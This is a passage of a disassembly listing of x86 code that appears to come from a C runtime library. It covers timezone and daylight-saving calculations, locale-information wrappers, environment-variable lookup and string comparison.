movsx edx, byte ptr [ecx]
cmp edx, 3Ah
jnz short loc_431E05
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
push ecx
call sub_417860
add esp, 4
mov edx, dword_4483A0
add edx, eax
mov dword_4483A0, edx
loc_431DE4: ; CODE XREF: sub_431AB0+353j
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_431E05
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_431E05
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_431DE4
; ---------------------------------------------------------------------------
loc_431E05: ; CODE XREF: sub_431AB0+2B9j
; sub_431AB0+30Fj ...
cmp [ebp+var_4], 0
jz short loc_431E19
mov edx, dword_4483A0
neg edx
mov dword_4483A0, edx
loc_431E19: ; CODE XREF: sub_431AB0+359j
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
mov dword_4483A4, ecx
cmp dword_4483A4, 0
jz short loc_431E4E
push 3
mov edx, [ebp+var_C]
push edx
mov eax, off_448430
push eax
call sub_417760
add esp, 0Ch
mov ecx, off_448430
mov byte ptr [ecx+3], 0
jmp short loc_431E57
; ---------------------------------------------------------------------------
loc_431E4E: ; CODE XREF: sub_431AB0+37Cj
mov edx, off_448430
mov byte ptr [edx], 0
loc_431E57: ; CODE XREF: sub_431AB0:loc_431C2Ej
; sub_431AB0+1B7j ...
mov esp, ebp
pop ebp
retn
sub_431AB0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 0Bh
call sub_41BC80
add esp, 4
mov eax, [ebp+8]
push eax
call sub_431E90
add esp, 4
mov [ebp-4], eax
push 0Bh
call sub_41BD20
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431E90 proc near ; CODE XREF: .data:00431E72p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4483A4, 0
jnz short loc_431EA4
xor eax, eax
jmp loc_432186
; ---------------------------------------------------------------------------
loc_431EA4: ; CODE XREF: sub_431E90+Bj
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
cmp ecx, dword_448438
jnz short loc_431EC4
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
cmp eax, dword_448448
jz loc_43208B
loc_431EC4: ; CODE XREF: sub_431E90+20j
cmp dword_4DE240, 0
jz loc_432045
xor ecx, ecx
mov cx, word_4DE2E0
test ecx, ecx
jnz short loc_431F39
xor edx, edx
mov dx, word_4DE2EE
push edx
xor eax, eax
mov ax, word_4DE2EC
push eax
xor ecx, ecx
mov cx, word_4DE2EA
push ecx
xor edx, edx
mov dx, word_4DE2E8
push edx
push 0
xor eax, eax
mov ax, word_4DE2E4
push eax
xor ecx, ecx
mov cx, word_4DE2E6
push ecx
xor edx, edx
mov dx, word_4DE2E2
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 1
call sub_432190
add esp, 2Ch
jmp short loc_431F8A
; ---------------------------------------------------------------------------
loc_431F39: ; CODE XREF: sub_431E90+4Cj
xor edx, edx
mov dx, word_4DE2EE
push edx
xor eax, eax
mov ax, word_4DE2EC
push eax
xor ecx, ecx
mov cx, word_4DE2EA
push ecx
xor edx, edx
mov dx, word_4DE2E8
push edx
xor eax, eax
mov ax, word_4DE2E6
push eax
push 0
push 0
xor ecx, ecx
mov cx, word_4DE2E2
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 1
call sub_432190
add esp, 2Ch
loc_431F8A: ; CODE XREF: sub_431E90+A7j
xor ecx, ecx
mov cx, word_4DE28C
test ecx, ecx
jnz short loc_431FF2
xor edx, edx
mov dx, word_4DE29A
push edx
xor eax, eax
mov ax, word_4DE298
push eax
xor ecx, ecx
mov cx, word_4DE296
push ecx
xor edx, edx
mov dx, word_4DE294
push edx
push 0
xor eax, eax
mov ax, word_4DE290
push eax
xor ecx, ecx
mov cx, word_4DE292
push ecx
xor edx, edx
mov dx, word_4DE28E
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_432190
add esp, 2Ch
jmp short loc_432043
; ---------------------------------------------------------------------------
loc_431FF2: ; CODE XREF: sub_431E90+105j
xor edx, edx
mov dx, word_4DE29A
push edx
xor eax, eax
mov ax, word_4DE298
push eax
xor ecx, ecx
mov cx, word_4DE296
push ecx
xor edx, edx
mov dx, word_4DE294
push edx
xor eax, eax
mov ax, word_4DE292
push eax
push 0
push 0
xor ecx, ecx
mov cx, word_4DE28E
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 0
call sub_432190
add esp, 2Ch
loc_432043: ; CODE XREF: sub_431E90+160j
jmp short loc_43208B
; ---------------------------------------------------------------------------
loc_432045: ; CODE XREF: sub_431E90+3Bj
push 0
push 0
push 0
push 2
push 0
push 0
push 1
push 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
push edx
push 1
push 1
call sub_432190
add esp, 2Ch
push 0
push 0
push 0
push 2
push 0
push 0
push 5
push 0Ah
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_432190
add esp, 2Ch
loc_43208B: ; CODE XREF: sub_431E90+2Ej
; sub_431E90:loc_432043j
mov edx, dword_44843C
cmp edx, dword_44844C
jge short loc_4320E4
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_44843C
jl short loc_4320B5
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_44844C
jle short loc_4320BC
loc_4320B5: ; CODE XREF: sub_431E90+215j
xor eax, eax
jmp loc_432186
; ---------------------------------------------------------------------------
loc_4320BC: ; CODE XREF: sub_431E90+223j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_44843C
jle short loc_4320E2
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_44844C
jge short loc_4320E2
mov eax, 1
jmp loc_432186
; ---------------------------------------------------------------------------
loc_4320E2: ; CODE XREF: sub_431E90+238j
; sub_431E90+246j
jmp short loc_432127
; ---------------------------------------------------------------------------
loc_4320E4: ; CODE XREF: sub_431E90+207j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_44844C
jl short loc_432100
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_44843C
jle short loc_432107
loc_432100: ; CODE XREF: sub_431E90+260j
mov eax, 1
jmp short loc_432186
; ---------------------------------------------------------------------------
loc_432107: ; CODE XREF: sub_431E90+26Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_44844C
jle short loc_432127
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_44843C
jge short loc_432127
xor eax, eax
jmp short loc_432186
; ---------------------------------------------------------------------------
loc_432127: ; CODE XREF: sub_431E90:loc_4320E2j
; sub_431E90+283j ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
imul edx, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, edx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
imul eax, 0E10h
add ecx, eax
imul ecx, 3E8h
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_44843C
jnz short loc_432172
mov eax, [ebp+var_4]
cmp eax, dword_448440
jl short loc_43216E
mov eax, 1
jmp short loc_432186
; ---------------------------------------------------------------------------
loc_43216E: ; CODE XREF: sub_431E90+2D5j
xor eax, eax
jmp short loc_432186
; ---------------------------------------------------------------------------
loc_432172: ; CODE XREF: sub_431E90+2CAj
mov ecx, [ebp+var_4]
cmp ecx, dword_448450
jge short loc_432184
mov eax, 1
jmp short loc_432186
; ---------------------------------------------------------------------------
loc_432184: ; CODE XREF: sub_431E90+2EBj
xor eax, eax
loc_432186: ; CODE XREF: sub_431E90+Fj
; sub_431E90+227j ...
mov esp, ebp
pop ebp
retn
sub_431E90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432190 proc near ; CODE XREF: sub_431E90+9Fp
; sub_431E90+F2p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_4], 1
jnz loc_43226C
mov eax, [ebp+arg_8]
and eax, 3
test eax, eax
jnz short loc_4321B9
mov ecx, [ebp+arg_C]
mov edx, dword_448710[ecx*4]
mov [ebp+var_C], edx
jmp short loc_4321C6
; ---------------------------------------------------------------------------
loc_4321B9: ; CODE XREF: sub_432190+18j
mov eax, [ebp+arg_C]
mov ecx, dword_448744[eax*4]
mov [ebp+var_C], ecx
loc_4321C6: ; CODE XREF: sub_432190+27j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+arg_8]
sub eax, 46h
imul eax, 16Dh
mov ecx, [ebp+var_8]
add ecx, eax
mov edx, [ebp+arg_8]
sub edx, 1
sar edx, 2
lea eax, [ecx+edx-0Dh]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_14]
jg short loc_432219
mov eax, [ebp+arg_14]
sub eax, [ebp+var_4]
mov ecx, [ebp+arg_10]
sub ecx, 1
imul ecx, 7
add ecx, [ebp+var_8]
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_43222D
; ---------------------------------------------------------------------------
loc_432219: ; CODE XREF: sub_432190+6Ej
mov edx, [ebp+arg_14]
sub edx, [ebp+var_4]
mov eax, [ebp+arg_10]
imul eax, 7
add eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
loc_43222D: ; CODE XREF: sub_432190+87j
cmp [ebp+arg_10], 5
jnz short loc_43226A
mov ecx, [ebp+arg_8]
and ecx, 3
test ecx, ecx
jnz short loc_43224C
mov edx, [ebp+arg_C]
mov eax, dword_448714[edx*4]
mov [ebp+var_10], eax
jmp short loc_432259
; ---------------------------------------------------------------------------
loc_43224C: ; CODE XREF: sub_432190+ABj
mov ecx, [ebp+arg_C]
mov edx, dword_448748[ecx*4]
mov [ebp+var_10], edx
loc_432259: ; CODE XREF: sub_432190+BAj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_10]
jle short loc_43226A
mov ecx, [ebp+var_8]
sub ecx, 7
mov [ebp+var_8], ecx
loc_43226A: ; CODE XREF: sub_432190+A1j
; sub_432190+CFj
jmp short loc_4322A1
; ---------------------------------------------------------------------------
loc_43226C: ; CODE XREF: sub_432190+Aj
mov edx, [ebp+arg_8]
and edx, 3
test edx, edx
jnz short loc_432285
mov eax, [ebp+arg_C]
mov ecx, dword_448710[eax*4]
mov [ebp+var_14], ecx
jmp short loc_432292
; ---------------------------------------------------------------------------
loc_432285: ; CODE XREF: sub_432190+E4j
mov edx, [ebp+arg_C]
mov eax, dword_448744[edx*4]
mov [ebp+var_14], eax
loc_432292: ; CODE XREF: sub_432190+F3j
mov ecx, [ebp+var_14]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
add edx, [ebp+arg_18]
mov [ebp+var_8], edx
loc_4322A1: ; CODE XREF: sub_432190:loc_43226Aj
cmp [ebp+arg_0], 1
jnz short loc_4322E1
mov eax, [ebp+var_8]
mov dword_44843C, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov dword_448440, ecx
mov edx, [ebp+arg_8]
mov dword_448438, edx
jmp loc_432384
; ---------------------------------------------------------------------------
loc_4322E1: ; CODE XREF: sub_432190+115j
mov eax, [ebp+var_8]
mov dword_44844C, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov dword_448450, ecx
mov edx, dword_4483A8
imul edx, 3E8h
mov eax, dword_448450
add eax, edx
mov dword_448450, eax
cmp dword_448450, 0
jge short loc_432351
mov ecx, dword_448450
add ecx, 5265C00h
mov dword_448450, ecx
mov edx, dword_44844C
sub edx, 1
mov dword_44844C, edx
jmp short loc_43237B
; ---------------------------------------------------------------------------
loc_432351: ; CODE XREF: sub_432190+19Cj
cmp dword_448450, 5265C00h
jl short loc_43237B
mov eax, dword_448450
sub eax, 5265C00h
mov dword_448450, eax
mov ecx, dword_44844C
add ecx, 1
mov dword_44844C, ecx
loc_43237B: ; CODE XREF: sub_432190+1BFj
; sub_432190+1CBj
mov edx, [ebp+arg_8]
mov dword_448448, edx
loc_432384: ; CODE XREF: sub_432190+14Cj
mov esp, ebp
pop ebp
retn
sub_432190 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432390 proc near ; CODE XREF: sub_430D00+19Cp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_435FE8
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DE2FC, 0
jnz short loc_432402
push 0
push 0
push 1
push 0
call dword_4E02DC ; GetLocaleInfoW
test eax, eax
jz short loc_4323DD
mov dword_4DE2FC, 1
jmp short loc_432402
; ---------------------------------------------------------------------------
loc_4323DD: ; CODE XREF: sub_432390+3Fj
push 0
push 0
push 1
push 0
call dword_4E0398 ; GetLocaleInfoA
test eax, eax
jz short loc_4323FB
mov dword_4DE2FC, 2
jmp short loc_432402
; ---------------------------------------------------------------------------
loc_4323FB: ; CODE XREF: sub_432390+5Dj
xor eax, eax
jmp loc_432511
; ---------------------------------------------------------------------------
loc_432402: ; CODE XREF: sub_432390+2Dj
; sub_432390+4Bj ...
cmp dword_4DE2FC, 1
jnz short loc_432426
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E02DC ; GetLocaleInfoW
jmp loc_432511
; ---------------------------------------------------------------------------
loc_432426: ; CODE XREF: sub_432390+79j
cmp dword_4DE2FC, 2
jnz loc_43250F
cmp [ebp+arg_10], 0
jnz short loc_432442
mov ecx, dword_4DE084
mov [ebp+arg_10], ecx
loc_432442: ; CODE XREF: sub_432390+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E0398 ; GetLocaleInfoA
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_432464
xor eax, eax
jmp loc_432511
; ---------------------------------------------------------------------------
loc_432464: ; CODE XREF: sub_432390+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
add eax, 3
and al, 0FCh
call sub_4181D0
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4324A4
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_4324A4: ; CODE XREF: sub_432390+FBj
cmp [ebp+var_20], 0
jnz short loc_4324AE
xor eax, eax
jmp short loc_432511
; ---------------------------------------------------------------------------
loc_4324AE: ; CODE XREF: sub_432390+118j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4E0398 ; GetLocaleInfoA
test eax, eax
jnz short loc_4324CC
xor eax, eax
jmp short loc_432511
; ---------------------------------------------------------------------------
loc_4324CC: ; CODE XREF: sub_432390+136j
cmp [ebp+arg_C], 0
jnz short loc_4324ED
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 1
mov ecx, [ebp+arg_10]
push ecx
call dword_4E0428 ; MultiByteToWideChar
mov [ebp+var_24], eax
jmp short loc_43250A
; ---------------------------------------------------------------------------
loc_4324ED: ; CODE XREF: sub_432390+140j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
call dword_4E0428 ; MultiByteToWideChar
mov [ebp+var_24], eax
loc_43250A: ; CODE XREF: sub_432390+15Bj
mov eax, [ebp+var_24]
jmp short loc_432511
; ---------------------------------------------------------------------------
loc_43250F: ; CODE XREF: sub_432390+9Dj
xor eax, eax
loc_432511: ; CODE XREF: sub_432390+6Dj
; sub_432390+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_432390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432530 proc near ; CODE XREF: sub_430D00+4Bp
; sub_430D00+7Ep ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_435FF8
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DE300, 0
jnz short loc_4325A2
push 0
push 0
push 1
push 0
call dword_4E02DC ; GetLocaleInfoW
test eax, eax
jz short loc_43257D
mov dword_4DE300, 1
jmp short loc_4325A2
; ---------------------------------------------------------------------------
loc_43257D: ; CODE XREF: sub_432530+3Fj
push 0
push 0
push 1
push 0
call dword_4E0398 ; GetLocaleInfoA
test eax, eax
jz short loc_43259B
mov dword_4DE300, 2
jmp short loc_4325A2
; ---------------------------------------------------------------------------
loc_43259B: ; CODE XREF: sub_432530+5Dj
xor eax, eax
jmp loc_4326C1
; ---------------------------------------------------------------------------
loc_4325A2: ; CODE XREF: sub_432530+2Dj
; sub_432530+4Bj ...
cmp dword_4DE300, 2
jnz short loc_4325C6
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E0398 ; GetLocaleInfoA
jmp loc_4326C1
; ---------------------------------------------------------------------------
loc_4325C6: ; CODE XREF: sub_432530+79j
cmp dword_4DE300, 1
jnz loc_4326BF
cmp [ebp+arg_10], 0
jnz short loc_4325E2
mov ecx, dword_4DE084
mov [ebp+arg_10], ecx
loc_4325E2: ; CODE XREF: sub_432530+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E02DC ; GetLocaleInfoW
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_432604
xor eax, eax
jmp loc_4326C1
; ---------------------------------------------------------------------------
loc_432604: ; CODE XREF: sub_432530+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_4181D0
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_432646
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_432646: ; CODE XREF: sub_432530+FDj
cmp [ebp+var_20], 0
jnz short loc_432650
xor eax, eax
jmp short loc_4326C1
; ---------------------------------------------------------------------------
loc_432650: ; CODE XREF: sub_432530+11Aj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4E02DC ; GetLocaleInfoW
test eax, eax
jnz short loc_43266E
xor eax, eax
jmp short loc_4326C1
; ---------------------------------------------------------------------------
loc_43266E: ; CODE XREF: sub_432530+138j
cmp [ebp+arg_C], 0
jnz short loc_432696
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_10]
push ecx
call dword_4E0424 ; WideCharToMultiByte
mov [ebp+var_24], eax
jmp short loc_4326BA
; ---------------------------------------------------------------------------
loc_432696: ; CODE XREF: sub_432530+142j
push 0
push 0
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
call dword_4E0424 ; WideCharToMultiByte
mov [ebp+var_24], eax
loc_4326BA: ; CODE XREF: sub_432530+164j
mov eax, [ebp+var_24]
jmp short loc_4326C1
; ---------------------------------------------------------------------------
loc_4326BF: ; CODE XREF: sub_432530+9Dj
xor eax, eax
loc_4326C1: ; CODE XREF: sub_432530+6Dj
; sub_432530+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_432530 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 0Ch
call sub_41BC80
add esp, 4
mov eax, [ebp+8]
push eax
call sub_432710
add esp, 4
mov [ebp-4], eax
push 0Ch
call sub_41BD20
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432710 proc near ; CODE XREF: sub_431AB0+3Ap
; .data:004326F2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword_4DDFA0
mov [ebp+var_8], eax
cmp dword_4DF688, 0
jnz short loc_43272E
xor eax, eax
jmp loc_4327D2
; ---------------------------------------------------------------------------
loc_43272E: ; CODE XREF: sub_432710+15j
cmp [ebp+var_8], 0
jnz short loc_432756
cmp dword_4DDFA8, 0
jz short loc_432756
call sub_432830
test eax, eax
jz short loc_43274D
xor eax, eax
jmp loc_4327D2
; ---------------------------------------------------------------------------
loc_43274D: ; CODE XREF: sub_432710+34j
mov ecx, dword_4DDFA0
mov [ebp+var_8], ecx
loc_432756: ; CODE XREF: sub_432710+22j
; sub_432710+2Bj
cmp [ebp+var_8], 0
jz short loc_4327D0
cmp [ebp+arg_0], 0
jz short loc_4327D0
mov edx, [ebp+arg_0]
push edx
call sub_414EC0
add esp, 4
mov [ebp+var_4], eax
loc_432771: ; CODE XREF: sub_432710+BEj
mov eax, [ebp+var_8]
cmp dword ptr [eax], 0
jz short loc_4327D0
mov ecx, [ebp+var_8]
mov edx, [ecx]
push edx
call sub_414EC0
add esp, 4
cmp eax, [ebp+var_4]
jbe short loc_4327C5
mov eax, [ebp+var_8]
mov ecx, [eax]
mov edx, [ebp+var_4]
movsx eax, byte ptr [ecx+edx]
cmp eax, 3Dh
jnz short loc_4327C5
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax]
push ecx
call sub_4327E0
add esp, 0Ch
test eax, eax
jnz short loc_4327C5
mov edx, [ebp+var_8]
mov eax, [edx]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx+1]
jmp short loc_4327D2
; ---------------------------------------------------------------------------
loc_4327C5: ; CODE XREF: sub_432710+7Aj
; sub_432710+8Bj ...
mov edx, [ebp+var_8]
add edx, 4
mov [ebp+var_8], edx
jmp short loc_432771
; ---------------------------------------------------------------------------
loc_4327D0: ; CODE XREF: sub_432710+4Aj
; sub_432710+50j ...
xor eax, eax
loc_4327D2: ; CODE XREF: sub_432710+19j
; sub_432710+38j ...
mov esp, ebp
pop ebp
retn
sub_432710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4327E0 proc near ; CODE XREF: sub_432710+9Bp
; sub_433010+2Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_8], 0
jnz short loc_4327EE
xor eax, eax
jmp short loc_43282B
; ---------------------------------------------------------------------------
loc_4327EE: ; CODE XREF: sub_4327E0+8j
mov eax, dword_4DE42C
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 1
mov edx, dword_4DE644
push edx
call sub_4328E0
add esp, 1Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_432825
mov eax, 7FFFFFFFh
jmp short loc_43282B
; ---------------------------------------------------------------------------
loc_432825: ; CODE XREF: sub_4327E0+3Cj
mov eax, [ebp+var_4]
sub eax, 2
loc_43282B: ; CODE XREF: sub_4327E0+Cj
; sub_4327E0+43j
mov esp, ebp
pop ebp
retn
sub_4327E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432830 proc near ; CODE XREF: sub_432710+2Dp
; sub_432D30+81p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_4DDFA8
mov [ebp+var_4], eax
loc_43283E: ; CODE XREF: sub_432830+A3j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx], 0
jz loc_4328D8
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
push 0
push 1
call dword_4E0424 ; WideCharToMultiByte
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_432872
or eax, 0FFFFFFFFh
jmp short loc_4328DA
; ---------------------------------------------------------------------------
loc_432872: ; CODE XREF: sub_432830+3Bj
push 3Dh
push offset dword_436004
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_4150C0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_432895
or eax, 0FFFFFFFFh
jmp short loc_4328DA
; ---------------------------------------------------------------------------
loc_432895: ; CODE XREF: sub_432830+5Ej
push 0
push 0
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
push 0
push 1
call dword_4E0424 ; WideCharToMultiByte
test eax, eax
jnz short loc_4328BC
or eax, 0FFFFFFFFh
jmp short loc_4328DA
; ---------------------------------------------------------------------------
loc_4328BC: ; CODE XREF: sub_432830+85j
push 0
mov eax, [ebp+var_8]
push eax
call sub_432D30
add esp, 8
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp loc_43283E
; ---------------------------------------------------------------------------
loc_4328D8: ; CODE XREF: sub_432830+14j
xor eax, eax
loc_4328DA: ; CODE XREF: sub_432830+40j
; sub_432830+63j ...
mov esp, ebp
pop ebp
retn
sub_432830 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4328E0 proc near ; CODE XREF: sub_4327E0+2Dp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_436058
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFC8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DE304, 0
jnz short loc_432966
push 1
push offset dword_435398
push 1
push offset dword_435398
push 0
push 0
call dword_4E02D4 ; CompareStringW
test eax, eax
